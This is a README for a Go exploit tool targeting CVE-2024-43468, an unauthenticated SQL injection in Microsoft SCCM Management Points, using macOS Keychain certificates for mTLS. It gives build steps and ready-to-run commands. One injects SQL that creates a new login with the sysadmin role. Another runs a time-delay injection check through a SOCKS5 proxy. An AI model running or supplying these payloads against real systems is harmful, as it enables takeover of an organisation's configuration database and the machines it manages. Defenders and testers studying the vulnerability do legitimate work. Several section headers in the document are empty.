
CVE-2024-43468 SCCM SQL Injection Exploit (mTLS unextractable client cert from MacOS keychain version)
Go implementation of CVE-2024-43468 exploit that uses macOS Keychain for mTLS authentication (without need to export keys from keychain).
Additionally:
Based on:
Exploits unauthenticated SQL injections in Microsoft Configuration Manager (ConfigMgr / SCCM) that allows an attacker with network access to a Management Point to execute arbitrary SQL queries on the site database.
Vulnerable versions:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : Target URL (required)-sql : SQL query to execute (required)-cn : Certificate Common Name in macOS Keychain (required)-proxy : SOCKS5 proxy address (default: empty)